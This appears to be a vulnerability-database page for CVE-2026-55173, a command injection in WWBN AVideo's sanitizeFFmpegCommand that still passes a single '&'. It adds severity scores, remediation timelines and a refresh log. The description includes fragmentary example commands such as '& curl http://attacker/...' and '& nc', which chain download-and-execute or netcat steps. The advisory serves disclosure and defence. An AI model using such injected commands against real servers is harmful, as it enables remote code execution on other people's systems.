WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.
CVE-2026-55173
“—” beside the score: it is equal to the CVSS score beside it.
Score 8.1 from GitHub Security Advisory (severity: HIGH) published 2026-06-23. A secondary CVSS source baseline 8.1; sources differ by 0.0.
Also known asEUVD-2026-45040 (ENISA EUVD) · GHSA-wc3f-xc32-435f (GitHub Security Advisories)Source: ENISA EUVD
- CISA's Vulnrichment rates exploitation as PoC; EchelonGraph holds no exploit-code reference for it
No fix is confirmed yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for the fix.
- CVSS v3
- 8.1
- EG Score
- 8.1HIGHmedium confidence
- EG Risk
- 52EG Risk 52/100
EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.
How it’s computed (value × EchelonGraph’s weight)Severity81% × 45%Impact severity (EG Severity): CVSS 8.1 of 10. Never the KEV-floored or EPSS-lifted EG Score.Exploitation40% × 40%EchelonGraph's fixed weight for EG-KEV Tier 3 (Elevated): a constant, not a probability.Automatability0% × 15%CISA's SSVC Automatable value: no (Vulnrichment).SSVC (CISA's decision table, applied by EchelonGraph): Track at low, Track* at medium and Attend at high mission impact.Exploitation public PoC (CISA Vulnrichment) · Automatable no (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.Action: No fix is confirmed yet. Restrict network exposure of the affected system or apply the vendor's mitigation within your standard update timelines at low or medium mission impact and sooner than that at high, and watch the vendor's advisory for the fix. - EPSS PROB
- 2.7%
- EPSS %ILE
- 85th
- KEV
- Not listed
What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)
The EG score (8.1): severity, escalated by confirmed exploitation. This CVE's 8.1 is its impact severity (EG Severity), not escalated.
- EG Severity
- 8.1 HIGHCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
- EG Likelihood
- 2.7% within 30 daysSource: FIRST EPSS. FIRST's exploitation probability, not an EchelonGraph model.
- Confirmed exploitation
- None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
- EG Priority
- SSVC Track* at medium mission impactTrack at low, Track* at medium and Attend at high mission impact.CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source: the SSVC and BOD 26-04 blocks below.
SSVC (CISA's decision table, applied by EchelonGraph)Track at low, Track* at medium and Attend at high mission impact.
No fix is confirmed yet. Restrict network exposure of the affected system or apply the vendor's mitigation within your standard update timelines at low or medium mission impact and sooner than that at high, and watch the vendor's advisory for the fix.
Exploitation public PoC (CISA Vulnrichment) · Automatable no (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table
BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.
In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it
Published
June 23, 2026
Last Modified
October 24, 2026
Advisory Details (2)
Auto-updated Jul 16, 2026commit c1cfa2bea8a3 (WWBN/AVideo)
Fix landed in WWBN/AVideo commit c1cfa2bea8a3 — awaiting tagged release
https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1fIncomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink · Advisory · WWBN/AVideo · GitHub
https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435fVendor Advisories for CVE-2026-55173(1)
These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.
Patch Availability(1)
| Vendor / Ecosystem | Fix (by version range) / Patch | Released | Source |
|---|---|---|---|
| composer | wwbn/avideo | — | ghsa |
Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.
Affected Packages
(1 across 1 ecosystem)
Packagist(1)
| Package | Vulnerable range | Fix by version range | Dependents |
|---|---|---|---|
| wwbn/avideo | 10.4 ... 29.0 (18 versions) |
| — |
Weakness Classification(1)
MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.
Data Freshness Timeline
(refreshed 12× in last 7d / 41× in last 30d)
Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.
Showing the most recent 100 of 244 refreshes on record for this CVE.
A repeat, a row identical to one the same pipeline wrote less than 10 seconds earlier, is not a separate refresh and is not counted. None are among the latest 100 rows. The 144 oldest rows on record are not shown and were not checked, so the counts can still include repeats.
- 2026-10-27 16:32 UTCEPSS rescoreEPSS 2.7% · 85th percentile
- 2026-10-26 16:31 UTCEPSS rescoreEPSS 2.7% · 85th percentile
- 2026-10-25 16:33 UTCEPSS rescoreEPSS 2.7% · 85th percentile
- 2026-10-25 14:19 UTCEG score recompute
- 2026-10-24 20:27 UTCEG score recompute
- 2026-10-24 20:27 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-10-24 16:33 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-24 13:38 UTCEG score recompute
- 2026-10-24 13:38 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-10-23 16:32 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-22 16:34 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-21 16:33 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-20 16:33 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-19 16:32 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-18 16:32 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-18 03:30 UTCEG score recompute
- 2026-10-17 16:34 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-17 03:27 UTCEG score recompute
- 2026-10-17 03:26 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-10-16 16:42 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-15 16:32 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-14 16:33 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-14 06:54 UTCOSV refresh
- 2026-10-13 16:34 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-12 16:34 UTCEPSS rescoreEPSS 3.4% · 88th percentile
Show 75 moreShow fewer
- 2026-10-12 15:56 UTCEG score recompute
- 2026-10-11 19:39 UTCEG score recompute
- 2026-10-11 16:54 UTCEG score recompute
- 2026-10-11 14:17 UTCEG score recompute
- 2026-10-11 13:49 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-10 20:00 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-09 20:07 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-08 17:12 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-07 23:48 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-06 15:18 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-05 17:43 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-03 14:26 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-02 17:56 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-10-01 19:50 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-30 15:03 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-29 15:22 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-27 13:48 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-26 15:59 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-24 14:04 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-23 17:54 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-23 12:01 UTCEG score recompute
- 2026-09-23 12:01 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-09-20 20:16 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-18 19:28 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-18 10:23 UTCEG score recompute
- 2026-09-18 10:23 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-09-17 19:31 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-16 14:08 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-16 05:15 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-15 03:11 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-14 02:06 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-09-13 12:22 UTCEG score recompute
- 2026-09-13 12:22 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-09-11 14:53 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-10 09:35 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-08 22:01 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-07 16:01 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-06 13:47 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-04 05:06 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-02 14:12 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-01 13:54 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-09-01 04:40 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-08-30 20:26 UTCEG score recompute
- 2026-08-30 20:25 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-08-30 19:17 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-08-30 01:22 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-08-28 21:41 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-08-27 14:25 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-08-26 14:46 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-08-25 13:49 UTCEPSS rescoreEPSS 3.4% · 88th percentile
- 2026-08-25 01:29 UTCEG score recompute
- 2026-08-25 01:29 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-08-24 13:54 UTCEG score recompute
- 2026-08-24 13:54 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-08-24 01:07 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-08-23 13:28 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-08-23 01:33 UTCEG score recompute
- 2026-08-23 01:33 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-08-23 00:19 UTCEPSS rescoreEPSS 2.2% · 80th percentile
- 2026-08-22 13:49 UTCEG score recompute
- 2026-08-22 13:49 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-08-21 23:49 UTCEPSS rescoreEPSS 2.2% · 80th percentile
- 2026-08-21 18:17 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-08-21 06:47 UTCEG score recompute
- 2026-08-21 06:46 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-08-20 22:55 UTCEPSS rescoreEPSS 2.2% · 80th percentile
- 2026-08-20 19:16 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-08-20 07:46 UTCEG score recompute
- 2026-08-20 07:46 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-08-19 17:04 UTCEPSS rescoreEPSS 2.2% · 80th percentile
- 2026-08-19 04:49 UTCEG score recompute
- 2026-08-19 04:48 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
- 2026-08-18 13:48 UTCEPSS rescoreEPSS 2.2% · 80th percentile
- 2026-08-17 13:47 UTCEPSS rescoreEPSS 2.2% · 80th percentile
- 2026-08-17 07:42 UTCGHSA enrichmentGHSA-wc3f-xc32-435f · GitHub severity HIGH · GitHub CVSS 8.1
Related CVEs(same product + same CWE)
Same product
10 shownPackagist:wwbn/avideo
- CVE-2026-40911EG 10.0CRITICAL
- CVE-2026-33478EG 10.0EPSS p96CRITICAL
- CVE-2026-41304EG 9.8CRITICAL
- CVE-2026-33770EG 9.8CRITICAL
- CVE-2026-33352EG 9.8CRITICAL
- CVE-2026-29058EG 9.8EPSS p95CRITICAL
- CVE-2026-29093EG 9.8CRITICAL
- CVE-2026-28501EG 9.8CRITICAL
- CVE-2024-31819EG 9.8EPSS p97CRITICAL
- CVE-2023-49599EG 9.8CRITICAL
Frequently asked(5)
What is CVE-2026-55173?
When was the CVE record for CVE-2026-55173 published?
Is CVE-2026-55173 actively exploited?
What is the CVSS score of CVE-2026-55173?
How do I remediate CVE-2026-55173?
Dependency Blast Radius
See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-55173
Is Your Infrastructure Affected by CVE-2026-55173?
EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.